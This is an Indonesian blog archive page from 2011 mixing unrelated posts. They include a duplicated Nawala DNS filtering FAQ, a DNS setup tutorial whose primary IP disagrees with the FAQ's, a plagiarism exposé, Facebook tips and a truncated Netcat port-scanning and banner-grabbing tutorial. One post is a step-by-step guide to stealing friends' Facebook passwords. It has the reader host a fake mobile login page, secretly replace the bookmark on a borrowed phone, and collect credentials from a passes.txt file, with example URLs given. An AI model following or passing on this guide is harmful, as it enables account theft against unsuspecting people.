game yang paling menyebalkan (menurut ane)
Jumat, 25 Maret 2011
| 
Diposting oleh
Unknown |
kalo anda pada bingung InsyaALLAH dah ane posting kunci jawaban quiz parampa part 1
Tampilkan postingan dengan label internet. Tampilkan semua postingan
Tampilkan postingan dengan label internet. Tampilkan semua postingan
Label:
FAQ Nawala
Q: Apa sih Nawala Project?
A: Nawala Project adalah sebuah inisiatif yang digagas oleh Awari untuk membantu pengakses internet menghindari akses ke situs-situs yang mengandung materi pornografi, judi, phising dan malware
Q: Apa sih DNS Nawala?
A: DNS Nawala adalah salah satu layanan yang diberikan oleh Nawala Project dan saat ini sudah bisa digunakan oleh para pengguna internet di Indonesia.
Q: Mengapa diberi nama Nawala?
A: Nawala dalam bahasa sansekerta berarti berita, kami berharap Nawala Project menjadi sebuah berita yang baik bagi para pengguna internet yang menginginkan akses internet yang bersih, aman dan sehat.
Q: Bagaimana cara menggunakan DNS Nawala?
A: Saat ini Nawala Project memberikan layanan DNS Nawala, dengan mengarahkan aturan DNS pada komputer anda ke alamat IP DNS Nawala maka anda sudah siap menggunakan DNS Nawala.
Q: Berapa IP DNS Nawala?
A: DNS Nawala mempunyai dua alamat IP yang bisa digunakan, yaitu
180.131.144.144
180.131.145.145
Q: Saya pengguna ISP X, apakah bisa menggunakan DNS Nawala?
A: DNS Nawala dapat digunakan dari ISP manapun di Indonesia, jika ISP anda belum melakukan mirroring DNS Nawala, maka anda otomatis akan menggunakan DNS Nawala yang berada di IIX/OIXP
Q: Saya pengguna rumahan, bukan warnet, bisakah saya menggunakan dns nawala?
A: DNS Nawala dapat digunakan siapa saja, warnet dan sekolah adalah pihak yang paling disarankan menggunakan Nawala sebab layanan mereka berhadapan langsung dengan Masyarakat.
Q: Operating System apa saja yang bisa menggunakan DNS Nawala?
A: Hampir semua OS yang umum digunakan (Windows, Mac, Linux) dapat memanfaatkan DNS Nawala. Silahkan baca petunjuk penggunaan pada situs nawala.org
Q: Bisa kah saya menggunakan DNS Nawala langsung pada modem router/server saya?
A: Anda dapat mengatur DHCP server pada modem router/server jaringan anda untuk menggunakan DNS Nawala. Silahkan membaca buku petunjuk teknis/manual book masing modem router/server anda untuk mengetahui dimana pengaturan yang dibutuhkan.
Q: Bayar gak sih?
A: DNS Nawala sepenuhnya gratis/tidak berbayar
Q: Siapa yang membiayai Nawala?
A: Nawala saat ini dibiayai oleh komunitas Warnet/Awari dan beberapa pihak yang tertarik membantu inisiatif Internet yang bersih, aman dan sehat
Q: Bagaimana berkontribusi kepada Nawala Project?
A: Silahkan hubungi kami melalui info@nawala.org jika tertarik memberikan kontribusi/bantuan kepada Nawala Project
Q: Tolong! Masih ada situs porno yang lolos!
A: Jika ada situs yang anda anggap memenuhi kriteria situs negatif dan belum tersaring oleh DNS Nawala, silahkan dilaporkan kepada kami melalui email info@nawala.org atau mengisi formulir online di situs nawala.org
Q: Tolong! Situs yang penting terblokir!
A: Selalu ada kemungkinan terjadinya perubahan status domain ataupun kesalahan memasukkan data saring, jika anda menemukan situs yang seharusnya tidak disaring oleh DNS Nawala, laporkan kepada kami melalui email info@nawala.org
Q: Apakah semua situs porno terblokir?
A: Perkembangan situs porno menyebabkan kami tidak bisa menjamin mampu menyaring semua situs porno ataupun situs negatif lainnya, namun dengan dukungan pengguna dan kontributor DNS Nawala, maka situs yang lolos saringan bisa dilaporkan melalui email info@nawala.org atau mengisi formulir online di situs nawala.org
Q: Apakah cuma situs porno yang terblokir?
A: Selain situs Porno, kami juga menyaring situs judi dan situs yang berisi phising dan malware.
Q: Bagaimana menambah situs porno yang belum terblokir?
A: Email ke info@nawala.org atau mengisi formulir online di situs nawala.org
Q: Selain DNS Nawala, apakah ada layanan lain yang diberikan oleh Nawala Project?
A: Untuk saat ini baru DNS Nawala yang dapat dipergunakan oleh pengguna internet, namun dalam perencanaan jangka panjang Nawala Project juga akan memberikan layanan URL Filtering dan Anti SPAM
A: Nawala Project adalah sebuah inisiatif yang digagas oleh Awari untuk membantu pengakses internet menghindari akses ke situs-situs yang mengandung materi pornografi, judi, phising dan malware
Q: Apa sih DNS Nawala?
A: DNS Nawala adalah salah satu layanan yang diberikan oleh Nawala Project dan saat ini sudah bisa digunakan oleh para pengguna internet di Indonesia.
Q: Mengapa diberi nama Nawala?
A: Nawala dalam bahasa sansekerta berarti berita, kami berharap Nawala Project menjadi sebuah berita yang baik bagi para pengguna internet yang menginginkan akses internet yang bersih, aman dan sehat.
Q: Bagaimana cara menggunakan DNS Nawala?
A: Saat ini Nawala Project memberikan layanan DNS Nawala, dengan mengarahkan aturan DNS pada komputer anda ke alamat IP DNS Nawala maka anda sudah siap menggunakan DNS Nawala.
Q: Berapa IP DNS Nawala?
A: DNS Nawala mempunyai dua alamat IP yang bisa digunakan, yaitu
180.131.144.144
180.131.145.145
Q: Saya pengguna ISP X, apakah bisa menggunakan DNS Nawala?
A: DNS Nawala dapat digunakan dari ISP manapun di Indonesia, jika ISP anda belum melakukan mirroring DNS Nawala, maka anda otomatis akan menggunakan DNS Nawala yang berada di IIX/OIXP
Q: Saya pengguna rumahan, bukan warnet, bisakah saya menggunakan dns nawala?
A: DNS Nawala dapat digunakan siapa saja, warnet dan sekolah adalah pihak yang paling disarankan menggunakan Nawala sebab layanan mereka berhadapan langsung dengan Masyarakat.
Q: Operating System apa saja yang bisa menggunakan DNS Nawala?
A: Hampir semua OS yang umum digunakan (Windows, Mac, Linux) dapat memanfaatkan DNS Nawala. Silahkan baca petunjuk penggunaan pada situs nawala.org
Q: Bisa kah saya menggunakan DNS Nawala langsung pada modem router/server saya?
A: Anda dapat mengatur DHCP server pada modem router/server jaringan anda untuk menggunakan DNS Nawala. Silahkan membaca buku petunjuk teknis/manual book masing modem router/server anda untuk mengetahui dimana pengaturan yang dibutuhkan.
Q: Bayar gak sih?
A: DNS Nawala sepenuhnya gratis/tidak berbayar
Q: Siapa yang membiayai Nawala?
A: Nawala saat ini dibiayai oleh komunitas Warnet/Awari dan beberapa pihak yang tertarik membantu inisiatif Internet yang bersih, aman dan sehat
Q: Bagaimana berkontribusi kepada Nawala Project?
A: Silahkan hubungi kami melalui info@nawala.org jika tertarik memberikan kontribusi/bantuan kepada Nawala Project
Q: Tolong! Masih ada situs porno yang lolos!
A: Jika ada situs yang anda anggap memenuhi kriteria situs negatif dan belum tersaring oleh DNS Nawala, silahkan dilaporkan kepada kami melalui email info@nawala.org atau mengisi formulir online di situs nawala.org
Q: Tolong! Situs yang penting terblokir!
A: Selalu ada kemungkinan terjadinya perubahan status domain ataupun kesalahan memasukkan data saring, jika anda menemukan situs yang seharusnya tidak disaring oleh DNS Nawala, laporkan kepada kami melalui email info@nawala.org
Q: Apakah semua situs porno terblokir?
A: Perkembangan situs porno menyebabkan kami tidak bisa menjamin mampu menyaring semua situs porno ataupun situs negatif lainnya, namun dengan dukungan pengguna dan kontributor DNS Nawala, maka situs yang lolos saringan bisa dilaporkan melalui email info@nawala.org atau mengisi formulir online di situs nawala.org
Q: Apakah cuma situs porno yang terblokir?
A: Selain situs Porno, kami juga menyaring situs judi dan situs yang berisi phising dan malware.
Q: Bagaimana menambah situs porno yang belum terblokir?
A: Email ke info@nawala.org atau mengisi formulir online di situs nawala.org
Q: Selain DNS Nawala, apakah ada layanan lain yang diberikan oleh Nawala Project?
A: Untuk saat ini baru DNS Nawala yang dapat dipergunakan oleh pengguna internet, namun dalam perencanaan jangka panjang Nawala Project juga akan memberikan layanan URL Filtering dan Anti SPAM
Filtering phising, malware dan situs-situs pornografi dengan Nawala Project, pada Windows Vista atau Windows 7
Apa sih Nawala Project? Nawala Project adalah sebuah inisiatif yang digagas oleh Awari untuk membantu pengakses internet menghindari akses ke situs-situs yang mengandung materi pornografi, judi, phising dan malware, Nawala layanan yang bebas digunakan oleh pengguna internet yang membutuhkan saringan situs negatif. Nawala akan membantu menepis jenis situs-situs negatif yang tidak sesuai dengan peraturan perundangan, nilai dan norma sosial, adat istiadat dan kesusilaan bangsa Indonesia seperti pornografi dan perjudian.
Nawala ini beroprasi melalui DNS Filtering System yang disebut DNS Nawala , yang berupa salah satu layanan yang diberikan oleh Nawala Project dan saat ini sudah bisa digunakan oleh para pengguna internet khusunya di Indonesia. asal usul penamaan Nawala, Nawala dalam bahasa sansekerta berarti berita, "kami berharap Nawala Project menjadi sebuah berita yang baik bagi para pengguna internet yang menginginkan akses internet yang bersih, aman dan sehat"*red Nawala.org
Bagaimana cara menggunakan DNS Nawala? Saat ini Nawala Project memberikan layanan DNS Nawala, dengan mengarahkan aturan DNS pada komputer anda ke alamat IP DNS Nawala maka anda sudah siap menggunakan DNS Nawala.*red Nawala.org
Maka dari itu saya dalam postingan kali ini akan sedikit menyampaikan tutorial penerapan DNS Nawala Project ini pada Windows Vista atau Windows 7
*gambar bisa diperbesar dengan melakukan double klik
*gambar bisa diperbesar dengan melakukan double klik
Pertama Akses Control Panel
Selajutnya Akses View Network Status and Task pada Network and Internet
Pada bagian Connect or Disconnect klik pada koneksi yang aktif baik, baik Wireless atau pun Local Area Connection, contoh di bawah dengan meng akses Tulisan Local Area Connection
Setelah pada jendela ini klik tombol Properties
Pada bagian ini double klik Internet Protocol Version 4 (TCP/IPv4)
Setelah pada jendela ini pilih opsi Use the followings DNS server addresses kemudian isikan pada
Preferred DNS Server : 180.130.144.144
Alternate DNS server : 180.131.145.145
setlah diisi klik OK
selamat mencoba dan jangan lupa bila masih ada situs-situs tertentu yang masih bisa diakses segara laporkan ke Nawala Project untuk nantinya segera di blokir klik disini Form Pengaduan Situs
Reference:
http://www.nawala.org
Panduan Cara Membuat Email Dengan @facebook.com
Panduan Cara Membuat Email Dengan @facebook.com
Mungkin selama ini banyak dari kita yang penasaran bagaimana mendapatkan email id @facebook.com. Pada dasarnya fitur email ini tidak dibagikan secara terbuka untuk siapa saja. Coba simak kutipan yang saya ambil dari halaman helpdesk di facebook:We’re rolling out the new Messages to everyone gradually, so you should see steps to upgrade soon. If you want to access the new Messages sooner, visit the Learn more page to request an invitation (invitations will be sent pending availability).
Sebenarnya cara yang paling sederhana untuk mendapatkan alamat email tersebut kamu hanya tinggal meminta undangan untuk mendapatkan sebuah email @facebook.com.
Masuk ke halaman akun facebook kamu, dan kemudian klik link facebook.com/about/messages/, selanjutnya kamu akan mendapatkan sebuah halaman dengan tombol yang bertuliskan “Request an Invitation“, klik pada tombol tersebut.
Setelah kamu klik tombol Request an Invitation tadinya, kamu akan diarahkan kehalaman selanjutnya dengan pemberitahuan “You will receive an invite soon” atau jika akun facebook kamu berbahasa indonesia pada pojok kanan bawah akan tertulis “Anda akan segera menerima undangan”.
Jika kamu beruntung maka facebook akan memberi kamu sebuah alamat email dengan domain namakamu@facebook.com. Yang perlu diketahui ialah, alamat email yang akan diberikan tentunya sesuai dengan username kamu di facebook, sebagai contoh:
Profile: facebook.com/username
Emaik: username@facebook.com
Bocah-Bocah Jago TI yang Mendadak Terkenal di TV Ternyata BerBOHONG?
1. Pembuat salingsapa.com (Muhammad Yahya Harlan)
Ralat karena pernyataan Yan Harlan (ayah Muhammad Yahya Harlan)
“Memang itu dari CMS tertentu, tapi kita beli lisensinya. Dan dalam aturannya, kalau kita beli lisensinya kita diberi kebebasan untuk mencantumkan atau tidak,” pada Minggu malam 13 Februari 2011
Dalam aturan lisensi di JCow, saat ditelusuri detikINET, memang disebutkan bahwa kata-kata ‘powered by JCow‘ boleh dihilangkan bagi mereka yang membeli lisensi piranti lunak ini.
Yan juga menambahkan, dengan dibelinya lisensi tersebut maka pembeli bebas mengkreasikan source tersebut.
sumber : http://www.detikinet.com/read/2011/02/14/114531/1570726/398/hak-cipta-salingsapa-jadi-bahan-kontroversi/?i991102105
Maka tulisan saya tentang salingsapa.com di bawah ini JANGAN digubris, terimakasih
Tadi dia bilang di E-LifeStyle MetroTV kalau dia yang membuat AntiVirus tersebut. Padahal kalau ditelusuri lebih jauh, akan tertera nama Narpes32 buatan Muh Aly Shodiqin. Kenapa dia membuat statement “bikin sendiri” yang seharusnya mengembangkan dari source orang lain ketika ditanya oleh host dari E-LifeStyle “Antivirus ini dibuat sendiri atau mengembangkan dari yang sudah ada?”
Adapula statement yang dia cetuskan di Forum Smadav
Nah Loe!!!
Kalau feeling saya, sang host ingin menguji kejujuran dari bocah ini. Namun apa daya, sang kakak justru menyokong aksi pembohongan publik ini dengan turut membuat rancangan desain dari AntiVirus ini
Mungkin saya akan berkata “Bro ajarin adik lu yg bener-bener yg lurus-lurus saja. Jujur gw kecewa udah posting AVmu di blog ini”.
Hasil decompile dari ARTAV 2010 Release 1.0.exe (untuk yang ARTAV Internet Security 2.5 belum di-decompile karena terpack dengan UPX, dan sementara ini hanya dilakukan debugging)
Screenshoot di atas dibandingkan dengan source code dari morphostlab dan planet source code
Referensi lainnya silakan klik di sini (tidak dianjurkan karena banyak anjink galak, hati-hati)
————————————————————
Saya juga meminta keterangan Arrival tentang kebenaran artikel ini :
————————————————————
Arrival akan segera meng-klarifikasi :
————————————————————
Arrival telah mengakui kesalahannya, dia meminta maaf dan izin kepada saudara Moh Aly Shodiqin untuk menggunakan Source Code fitur Quarantine dari AL virus scan pada ARTAV. Moh Aly Shodiqin pun sudah memberikan izin dan beliau memberikan nasihat “Jangan anggap remeh license GNU, dan silakan konfirmasi ke publik karena ternyata Anda ngaku-ngaku ini hasil karya sendiri dan saya sebagai creator al VirusScan prihatin kalau terjadi pembohongan publik. Kalau ternyata salah satu fiturnya ARTAV based on al VirusScan silakan kasih credit nama saya, karena itu etika programmer”
=============================================
Untuk pemberian komentar masih dibuka hingga dirasa cukup, untuk semua nama yang tak mungkin saya sebutkan satu persatu, terimakasih telah membantu terselesaikannya masalah ini
tanpa kalian artikel ini tiada apa-apanya
=============================================
Sedikit mengutip dari indeves :
Source Salingsapa.com
“Memang itu dari CMS tertentu, tapi kita beli lisensinya. Dan dalam aturannya, kalau kita beli lisensinya kita diberi kebebasan untuk mencantumkan atau tidak,” pada Minggu malam 13 Februari 2011
Dalam aturan lisensi di JCow, saat ditelusuri detikINET, memang disebutkan bahwa kata-kata ‘powered by JCow‘ boleh dihilangkan bagi mereka yang membeli lisensi piranti lunak ini.
Yan juga menambahkan, dengan dibelinya lisensi tersebut maka pembeli bebas mengkreasikan source tersebut.
http://www.jcow.net/license/?domain=salingsapa.com
Maka tulisan saya tentang salingsapa.com di bawah ini JANGAN digubris, terimakasih
Pertama saya salut dengan bocah ini, namun setelah saya lakukan view source terhadap web jejaring social miliknya itu, ternyata menggunakan engine jcow.net2. Pembuat ARTAV Antivirus (Arrival Dwi Sentosa)
Pantas terasa aneh, seorang bocah ingusan bisa membuat website seperti itu dari baris pertama. Bila dilihat sekilas tidak tertulis copyright dari jcow.net
Entah anak muda ini membeli license-nya atau tidak. Karena menghapus kalimat “powered by jcow” merupakan pelanggaran. Udah di kasih gratis lalu menghapus pembuat nya. Sungguh terlalu.Entah hanya anak atau sang bapak juga ikut dalam adegan pembohongan publik ini?
Kemarin saya lihat yang berpresentasi di TV ONE adalah sang bapak, bukan anak ingusan ini.Terlihat orang-orang intelektual menonton, lokasi pun di tempat ber -gengsi. Kampus ITB. Bahkan raut muka seorang Roy Suryo terlihat sangat bangga.Malu saya -_-”Kecil-kecil di ajar berbohong?
Kalau besar mau jadi apa?CMIIWBerita terkaitWouw, Siswa SMP RI Ciptakan Jejaring Sosial Seperti Facebook
Adapula statement yang dia cetuskan di Forum Smadav
Nah Loe!!!
Kalau feeling saya, sang host ingin menguji kejujuran dari bocah ini. Namun apa daya, sang kakak justru menyokong aksi pembohongan publik ini dengan turut membuat rancangan desain dari AntiVirus ini
Mungkin saya akan berkata “Bro ajarin adik lu yg bener-bener yg lurus-lurus saja. Jujur gw kecewa udah posting AVmu di blog ini”.
Chat FB dengan Arrival
Kog Arrival jadi gini?
Kog Arrival jadi gini? (bagian ke-2)
Jelas tertera narpes32 dan FileRecover.bat dari Narpes32/NAVi
Jelas tertera nama ATV Guard dan ekstensi .atv
Jelas tertera AVIGen Antivirus | version 3 perhatikan Original Code 
Arrival Dwi Sentosa
Arrival Dwi Sentosa
Bedakan antara AVIGen dan ARTAV
Yang ini aku gag tw
Modul Restart? padahal tidak ada fasilitas ini di ARTAV versi tersebut?
FileRecover.bat adalah milik NAVi
Debug ARTAV Internet Security 2.5 terdapat AVIGptr.dll
Apa hubungannya ARTAV Internet Security 2.5 dengan ANVIBI?
Referensi lainnya silakan klik di sini (tidak dianjurkan karena banyak anjink galak, hati-hati)
Update baru : Arrival’s Blog & CHEATing Blog
Di sana ada Nyit-Nyit Antivirus dari versi 1 sampai dengan versi 2
Nyit-Nyit Antivirus
Saya juga meminta keterangan Arrival tentang kebenaran artikel ini :
Pesan kepada Arrival tentang kebenaran artikel ini
Permintaan keterangan dan pernyataan Arrival
Arrival akan segera meng-klarifikasi :
Arrival akan segera klarifikasi
Arrival telah mengakui kesalahannya, dia meminta maaf dan izin kepada saudara Moh Aly Shodiqin untuk menggunakan Source Code fitur Quarantine dari AL virus scan pada ARTAV. Moh Aly Shodiqin pun sudah memberikan izin dan beliau memberikan nasihat “Jangan anggap remeh license GNU, dan silakan konfirmasi ke publik karena ternyata Anda ngaku-ngaku ini hasil karya sendiri dan saya sebagai creator al VirusScan prihatin kalau terjadi pembohongan publik. Kalau ternyata salah satu fiturnya ARTAV based on al VirusScan silakan kasih credit nama saya, karena itu etika programmer”
Arrival sudah Klarifikasi
Tambahan dari iyeh41
Terimakasih dan maaf di blog ARTAV
Dengan demikian artikel di ini dibuat adalah semata untuk menyampaikan kebenaran. Laporkanlah bila isi dalam artikel ini mengandung kepalsuan. Peran Anda sangat dibutuhkan untuk kelangsungan IT di Indonesia.
Untuk pemberian komentar masih dibuka hingga dirasa cukup, untuk semua nama yang tak mungkin saya sebutkan satu persatu, terimakasih telah membantu terselesaikannya masalah ini
tanpa kalian artikel ini tiada apa-apanya
=============================================
Sedikit mengutip dari indeves :
“Hanya kejujuran yg dapat membuat Anda di segani”
Sekali lagi CMIIW Cara Membuat Aplikasi Facebook sendiri
- Mungkin semua sudah tahu,dan menggunakan facebook,,dan banyak sekali aplikasi pendukung yang bisa membuat kita semakin asyik ber Facebook ria..hehehe..
rekan2 mungkin pernah menggunakan aplikasi Analisa Kepribadian,Ramalan Zodiak,Tentang Aura,sampai Aplikasi Status Bagai menggunakan blackberry,atau HP mahal lainnya,,,memang sih kita tinggal memakai saja,tinggal masuk ke link aplikasi tsb,langsung kita pakai saja,,mudah ya,,?,
tapi apakah rekan rekan ngga ingin membuat Aplikasi sendiri,sesuai dengan Imajinasinya sendiri,dan saya rasa akan menyenangkan,dan bangga pakai Aplikasi bikinan sendiri,dan juga dipakai oleh banyak orang.
caranya mudah kah..bagi yang awam bahasa Program kita tinggal menggunakan Aplication List,,bagi seorang Programmer bisa menggunakan Developer Facebook.
Yang akan kita bahas kali ini kita pakai yang pertama saja: Aplikasi List....
inilah langkah langkahnya....
- Buka Facebook Anda
- Klik link ini :http://apps.facebook.com/appslist,,saya sertakan linknya di bawah.
- Klik Ijinkan
- setelah Aplications list terinstal..klik tombol CreateYour OwnApplication
- setelah muncul halaman klik tombol Start Creating a New Facebook Application >>
- Akan tampil Daftar Aplikasi Facebook sebagai berikut....
- Friend Interview Application
- Yes/No Application
- Friend Phrase Application
- Mood Application
- Canche Application
- X of the Day Application
- Gift Application
- Album Application
- Poll Application
- Write in Picture Application
- Compare Application
- Fan Page Application{for SChool,Univercity,Compani,etc}
CARA MENDAPATKAN PASSWORD FACEBOOK TEMAN ANDA LEWAT HP (Fakelogin Via Handphone)
KELOGIN ATAU PHISING.........HACK FACEBOOK VIA HANDPHONE DENGAN FAKELOGIN ATAU PHISING.........HACK FACEBOOK VIA HANDPHONE DENGAN FAKELOGIN ATAU PHISING.........HACK FACEBOOK VIA HANDPHONE DENGAN FAKELOGIN ATAU PHISING.........HACK FACEBOOK VIA HANDPHONE DENGAN FAKELOGIN ATAU PHISING.........HACK FACEBOOK VIA HANDPHONE DENGAN FAKELOGIN ATAU PHISING.........HACK FACEBOOK VIA HANDPHONE DENGAN FAKELOGIN ATAU PHISING.........
kali ini saya ingin posting tentang bagai mana cara fakelogin via handphone,
setelah maraknya fakelogin via web yg udah basi yg udah di patch oleh admin, tapi dengan fake login or phising lewat handphone ini
anda masih bisa melakukan fakelogin via hp, dijamin lancar, tapi masalahnya ini hanya untuk teman di sekitar
bisa saja anda menyebarkn ke orang jauh tapi dengan sms aja
dikarenakan pengiriman via facebook sendiri sudah di blokir untuk pengiriman dengan konten2 tersebut
jadi ini adalah hack ampuh ala hackershane bagi pemula yg masih newbie
untuk yg sudah tau maaf yach jika posting ini mengangu,
ini di postingkan bagi yg belum tau dan untuk menepis fake login
agar di mana2 tidak terkena hack dengan cara ini.
kami harap anda tidak menyalah gunakan posting kali ini
gunakanlah technik hacking ini dengan bijak
saya tidak bertanggung jawab atas hal ini tangung jawab pada anda masing2
bila anda ketauan yah itu resiko anda okeh
kalo gak mau kena resiko jangan ikuti cara ini, ini hanyalah pembelajaran semata...
okeh langsung aja
berikud saya jelaskan n gak perlu panjang lebar lagi
jika anda tau cara penyebarannya technik ini berjalan dengan lancar bisa 80% berhasil bahkan 100%
carakerjanya pertama2 yaitu :
- anda download disini untuk mendapatkan file php untuk phising /fakelogin dan disini untuk passrarnya.
- setelah anda mendownload file diatas yg berisi index.htm dan write.php lalu anda upload ke webhosting kesayangan anda yg suport dengan file php contohnya ripway or apalah kalo gak tau tanya teman or mbah google, kalo gak mau nanya di luar tanya ja di pos komentar. usahakan nama webhosting anda tidah mencurugakan, seperti login, signup, m.facebook.com, or apalah suka2 anda.
- okeh setelah anda download kedua file di atas maka siap lah fakelogin or phising anda.
- jika sudah, langsung ja buka file index.htm maka ada tampilan seperti m.facebook.com
- lalu coba anda login ngasal2 aja di kotak email dan pass, pastikan itu fakelogin anda.
- jika sudah buka webhosting tempat index anda berada lalu refresh di root or reload halaman webhosting anda maka akan ada file baru berupa passes.txt itu adalah tempat wadah password target, coba anda buka apa yg terjadi maka akan muncul kata2 yg anda tulis dalam teks box pada email n pass. kalo blom ada seperti itu berarti anda blom berhasil atau webhosting anda tidak suport file php.
- ini blom selesai, tinggal tahap penyebarannya aja, yaitu bisa d taro di hp anda atau d hp teman anda. tapi penyebarannya dengan cara anda masing2 aja.
- nah jika tahap di atas sudah anda lakukan dan anda sudah punya link fakelogin anda sendiri maka lakukan penyebaran seperti yg saya contohkan ini:
- pertama anda pinjam hp teman anda dengan berdialog seperti ini :
ente : pren minjem hp dunk buat browsing google or buka fb,
cz hp w lagi kagak ada plza nich..plisss
target : iye tapi jangan lama2 yach tar pulsa gw abis,
ente : okeh deh pren tenang aje tar kalo abis gw isiin
target : nich hp gw, hp sendiri ja gak bisa di isiin belaga ngisiin plza gw lo,
dah gak sah pake aja..gratisss....
ente : he..3x..bisa ja lo...okeh thank banget sob....!!#*!$^@*!*%$&*^%#!!
tapi terserah ente mau ngemeng dengan cara apa dech, he he heee....
nah jika hp teman anda sudah di tangan itu adalah kesempatan anda dalam melakukan kejahatan, langsung aja anda buka opera mini kesayangan anda di hp teman or target, Buka bookmarks lalu cari tulisan Facebook, klik manage, edit, lalu adresnya yg m.facebook.com di gantikan dengan nama link index.htm yg sudah anda punyacontoh:
http://m.facebook.com di ganti dengan http://h1.ripway.com/facebook.mobile9174/index.htm
jika sudah save dech n jangan lupa contrengin display on start page biar doi nampil di depan halaman opera, trus abis itu balikin dah hp temen lo, belaga dah puas ol
- berikudnya anda tinggal nunggu si empunya hp or temen2nya ol di hp target, 80% pasti dia buka bookmark tadi.
- jika penasaran mau liat password n email hasil halaman facebook palsu yg sudah di taro di hp target, tinggal buka link'a passes.txt tadi dah, dari hp ente bisa d buka kok.
contohnya : http://h1.ripway.com/facebook.mobile9174/passes.txt
jika anda belom paham silakan add fb w di
http://www.facebook.com/HACKER.SHANE.H4CK3R.5H4N3.WORMVIRUS
tanyakan kesulitan anda
maafkan jika ada kesalahan dalam penulisan atau kesalah penafsiran or posting ini menurutanda menggangu dan saya mengucapkan terimakasih banyak karena sudah mengunjungi blog ini.
jika adanya posting ini menggangu kami dari pikah admin akan siap menghapus posting ini
sekalilagi saya ingetkan jangan di salah gunakan technik ini, ini hanya pembelajaran untuk anda yg belum tau adanya teror ini n bisa anda cegah sebelum anda terlambat.
saya sarankan agar berhati2 saat login di hp teman anda, check page information halaman login facebook anda di hp atau gunakan username palsu dulu untuk mencegak fakelogin,
jika ada peringatan kesalahan itu berarti halamn asli, tapi jika itu halamn palsu maka akan langsung masuk kehalaman asli setelah anda klik tombol login pada halaman palsu...
trimakasih..
waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!.....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!
TERIMAKASIH KARENA ANDA SUDAH MENGUNJUNGI BLOG INI, SEMOGA ILMU YANG ADA DI SINI BERMANFAAT UNTUK KALIAN SEMUA, SILAKAN MENCOBA TAPI JANGAN DI SALAH GUNAKAN YACH.....GUNAKANLAH DENGAN BIJACK....INGAT INI ADALAH TANGUNGJAWAB MASING2, KAMI TIDAK BERTANGGUNG JAWAB...!!!! SELAMAT MENCOBA...???
waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!.....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!....waspadalah waspadalah...!!!!
CARA DESAIN BAJU ONLINE
Membuat desain Baju, Kaos, Jaket, Topi sendiri melalui media Internet alias Online
sedikit informasi yang bisa dicoba bagi temen-temen yang memiliki keinginan untuk membuat desain baju ataupun kaos sendiri dan dirumah/PC anda tidak terdapat software untuk membuatnya,, berikut ini tutorialnya untuk membuat desain baju secara online.
untuk bisa membuat desainnya silahkan anda masuk ke website labnya dengan alamat -- >> http://www.customink.com
didalam lab virtual tersebut sudah terdapat beberap template yang bisa mempercepat desain anda atau jika anda kurang puas dengan desain yang disediakan, anda bisa mengupload gambar anda sendiri dari PC anda
fasilitas yang terdapat pada Lab Virtual tersebut adalah sebagai berikut ...
- Membuat desain T shirt
- Membuat desain Baju
- Membuat desain Topi
- Membuat desain Pensil
- Membuat desain Jaket
- Membuat desain sweater
- Membuat desain Gelas
- Membuat desain Boneka
- Membuat desain Kaos lengan panjang
- Membuat desain Tas
tanpa harus mendaftar terlebih dahulu anda bisa memanfaatkannya,, untuk lebih jelasnya lagi silahkan kunjungi saja link website tersebut diatas..learning by doing ja yah...
WEB HACKING DENGAN NETCAT
Instalasi Netcat
Saat ini Netcat telah tersedia tidak saja pada sistem operasi Unix dan Linux
pada sistem operasi Windows. Pada tutor kali ini saya menggunakan Netcat
dengan sistem operasi Window pada command line sama dengan perintah
yang terdapat pada Netcat dgn Unix.
Instalasi Netcat pada sistem operasi Windows sangat sederhana.
mendownload dari situs http://www.atstake.com/research/tools/netw
banyak situs hacker lainnya. Namun demikian Anda harus waspada jika dunlut dari
yang tidak Anda kenal betul, bisa jadi tools Netcat-nya sudah dimodifikas
yang dapat mengganggu sistem Anda
Kemudian Anda cukup melakukan unzip terhadap file yang telah Anda download
nc11nt.zip ke dalam sebuah direktori sebagai berikut:
File utama yang perlu Anda perhatikan hanyalah nc.exe saja, file lainnya bisa Anda perhatikan
bila Anda perlu melakukan kompilasi ulang.
Memulai Netcat
Sebelum memulai, sebaiknya Anda perlu mengetahui fasilitas apa saja yang tersedia pada
Netcat. Untuk itu Anda dapat memulai dengan melihat option yang tersedia. Untuk mengetahui
option yang tersedia pada Netcat, cukup memanggil help-nya pada Dos prompt sebagai berikut:
Secara umum perintah Netcat memiliki struktur sebagai berikut:
Port Scanning
Seperti juga pisau Swiss Army yang memiliki banyak mata pisau beraneka fungsi, maka Netcat
juga memiliki aneka fungsi yang dimiliki tools lainnya, salah satunya adalah “mata pisau” port
scanning
Walaupun tidak selengkap dan secanggih tools Nmap atau Supercan, Netcat dapat digunakan
untuk melihat port mana saja yang terbuka. Berikut ini contoh untuk memeriksa status port web
dari port 10 s./d port 140 dari situs web tertentu, sebagai berikut:
Banner Grabbing
Salah satu cara mendapatkan informasi mengenai sistem operasi dan aplikasi yang dijalankan
oleh sebuah host adalah dengan melakukan banner grabbing atau membaca informasi yang ada
di dalam banner sebuah sistem.
Berikut ini kemampuan Netcat untuk mengambil header suatu situs web yang biasanya
menyimpan informasi penting sebagai berikut (Jangan lupa ketikkan “Get/HTTP” seperti
terlihat pada baris ke-6 dari contoh hasil di atas.)
wooooooow!!!!!tumben mikocok,kebanyakan yang saya temuin
punya nya pakdhe linus..
Penjelasan:
Penggunaan option –n diperlukan jika address yang Anda berikan adalah berupa nomor IP. Jika
berupa address internet, anda tidak memerlukan option –n tersebut. Port yang diuji adalah port
80.
Dari contoh di atas Anda dapat mengetahui bahwa sistem operasi yang dipergunakan adalah
Microsoft dengan IIS/5.0.
Perhatikan contoh berikutnya:
hhhmmmmmmmm Pada contoh di atas tidak menggunakan option –n karena address yang digunakan adalah bukan
nomor IP. Dari hasil di atas tidak terlihat sistem operasinya tetapi terlihat bahwa host tersebut
menggunakan Apache Versi 1.3.12.
Skenario Menyusup ke dalam Server Web!
Untuk menyusup ke dalam server web diperlukan beberapa langkah dan ketrampilan tersendiri.
Tidak saja ketrampilan menggunakan Netcat, tetapi juga pengetahuan kita mengenai sistem
